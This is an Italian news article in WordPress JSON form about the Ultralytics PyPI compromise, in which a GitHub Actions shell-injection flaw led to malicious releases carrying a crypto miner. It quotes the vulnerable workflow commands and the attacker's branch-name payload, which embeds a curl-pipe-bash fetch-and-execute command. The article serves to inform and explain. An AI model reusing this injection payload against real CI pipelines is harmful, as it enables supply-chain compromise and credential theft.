{"id":120890,"date":"2024-12-07T15:46:00","date_gmt":"2024-12-07T13:46:01","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics"},"modified":"2024-12-07T15:46:00","modified_gmt":"2024-12-07T13:46:01","slug":"oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","status":"publish","type":"post","link":"https:\/\/prohoster.info\/it\/blog\/novosti-interneta\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","title":{"rendered":"Un errore nel gestore di GitHub Actions ha portato alla pubblicazione di versioni dannose di Ultralytics","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
Gli aggressori sono riusciti a eseguire codice con i privilegi del gestore GitHub Actions nel repository della libreria Python Ultralytics, utilizzata per affrontare compiti di visione artificiale, come il riconoscimento di oggetti nelle immagini e la segmentazione delle immagini. Dopo aver ottenuto accesso al repository, gli attaccanti hanno pubblicato diverse nuove versioni di Ultralytics nel catalogo PyPI, incluse modifiche dannose per il mining di criptovalute. Nell'ultimo mese, la libreria Ultralytics \u00e8 stata scaricata pi\u00f9 di 6,4 milioni di volte dal catalogo PyPI. <\/p>\n
Per compromettere il repository \u00e8 stata sfruttata una vulnerabilit\u00e0 nel pacchetto ultralytics-actions, utilizzato per avviare automaticamente i gestori in seguito a determinate azioni sul repository di GitHub, utilizzando il meccanismo GitHub Actions. Nel progetto ultralytics, il gestore vulnerabile era associato all'evento pull_request_target e veniva chiamato al ricevimento di nuove pull request. In particolare, per formattare il codice nelle pull request inviate veniva chiamato il gestore format.yml ed eseguito il codice specificato nella sezione \u00abrun\u00bb del file action.yml, che conteneva comandi shell con variabili sostituibili: git pull origin ${{ github.head_ref || github.ref }} git config \u2014global user.name \u00ab${{ inputs.github_username }}\u00bb git config \u2014global user.email \u00ab${{ inputs.github_email }}\u00bb <\/p>\n
Pertanto, i nomi dei branch Git menzionati nelle pull request venivano inseriti nei comandi shell senza il dovuto escaping. \u00c8 interessante notare che ad agosto nel pacchetto ultralytics-actions era gi\u00e0 stata corretta una vulnerabilit\u00e0 simile, legata all'uso di un valore esterno nella funzione echo: echo \u00abgithub.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}\u00bb <\/p>\n
Per eseguire il proprio codice nel contesto del gestore di GitHub Actions, gli attaccanti hanno inviato una pull request al repository ultralytics, specificando come nome del ramo: openimbot:$(curl -sSfL raw.githubusercontent.com\/ultralytics\/ultralytics\/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545\/file.sh${IFS}|${IFS}bash) <\/p>\n
Di conseguenza, al momento della ricezione della pull request, nel codice appariva la stringa fornita dagli attaccanti \u00ab$(…)\u00bb, che lorsignori avevano inserito e che successivamente, durante l'esecuzione del gestore, ha portato all'esecuzione del codice \u00abcurl -sSfL raw.githubusercontent.com\/…\/file.sh | bash\u00bb.
<\/center> <\/p>\n
L'esecuzione di codice nel contesto di GitHub Actions pu\u00f2 essere utilizzata per catturare il token di accesso al repository e altri dati sensibili. Non \u00e8 ancora chiaro come gli attaccanti siano riusciti a formare il rilascio ottenendo la possibilit\u00e0 di eseguire il proprio codice in GitHub Actions; si ipotizza che ci\u00f2 sia stato reso possibile dalla modifica del gestore publish.yml (dove gli attaccanti hanno rimosso il controllo dell'account autorizzato a pubblicare rilasci su PyPI) e dall'utilizzo della tecnica di avvelenamento della cache di compilazione di GitHub Actions per inserire i propri dati nel rilascio. <\/p>\n
Il primo rilascio malevolo di Ultralytics 8.3.41 \u00e8 stato pubblicato da malintenzionati nel catalogo PyPI il 4 dicembre alle 23:51 (MSK) ed \u00e8 stato rimosso il giorno successivo alle 12:15. Alle 15:47 \u00e8 stata pubblicata un'altra versione 8.3.42, che \u00e8 stata rimossa alle 16:47. Pertanto, le versioni malevole sono state disponibili per il download per circa 13 ore (in un giorno PyPI registra circa 250.000 download della libreria ultralytics). Le versioni 8.3.41 e 8.3.42 contenevano codice che effettuava il download da un esterno server<\/a> componente XMRig per il mining di criptovalute. <\/p>\n
![\"Un](\"\/wp-content\/uploads\/2024\/12\/c734b63e67d629d8af635f4193bfb0d0.png\")
<\/center> <\/p>\n